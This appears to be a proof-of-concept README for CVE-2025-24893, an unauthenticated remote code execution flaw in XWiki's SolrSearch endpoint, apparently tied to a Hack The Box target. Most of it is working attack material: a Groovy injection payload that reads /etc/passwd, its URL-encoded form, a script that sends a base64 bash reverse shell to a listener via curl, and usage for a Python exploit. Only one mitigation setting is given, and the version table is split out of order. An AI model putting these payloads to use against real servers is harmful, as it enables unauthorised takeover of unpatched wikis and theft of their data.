
CVE-2025-24893 is a critical unauthenticated remote code execution (RCE) vulnerability in XWiki, a popular open-source enterprise wiki platform.
SolrSearch macro (XWiki UI)The /xwiki/bin/get/Main/SolrSearch endpoint concatenates untrusted text= input
straight into a Freemarker template.
By prematurely closing the template and opening a new {{groovy}} … {{/groovy}}
block, an attacker executes arbitrary Groovy code without authentication.
GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>> HTTP/1.1
SolrSearch should embed the supplied text as plain content, but the macro
handler fails to escape }}}, so the following happens:
}}} closes the current Freemarker block. {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}
async=false forces synchronous execution (works even for guests).A minimal PoC that prints /etc/passwd:
}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}
URL-encoded variant (spaces → %20, braces → %7B/%7D, etc.):
%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
| Branch | Fixed in | Vulnerable ≤ |
|---|---|---|
| 15.x | 15.10.11 | 15.10.10 (and all 15.9 / 15.8 …) |
(source: OffSec advisory & XWiki SEC-S 2025-02)

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444
# 1. one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
# 2. Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)
# 3. wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'
# 4. URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")
# start listener
sudo ncat -lvnp 4444
# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"
xwiki_solr_rce.py ships in exploit/ (see code block below).
python CVE-2025-24893.py -u <TARGET URL> -l <IP> -p <PORT>
where
<TARGET URL> - URL including http:// or https://
(pass -c "id" to run an arbitrary command instead of a shell)

# /etc/xwiki/xwiki.properties
solr.search.enabled = false
Research & PoC: DeX1d
Disclaimer: For educational use only. Running this against systems you do not own is illegal.
| 14.x LTS | 14.10.17 | 14.10.16 |
| 13 / 12 | Not maintained – all remain vulnerable |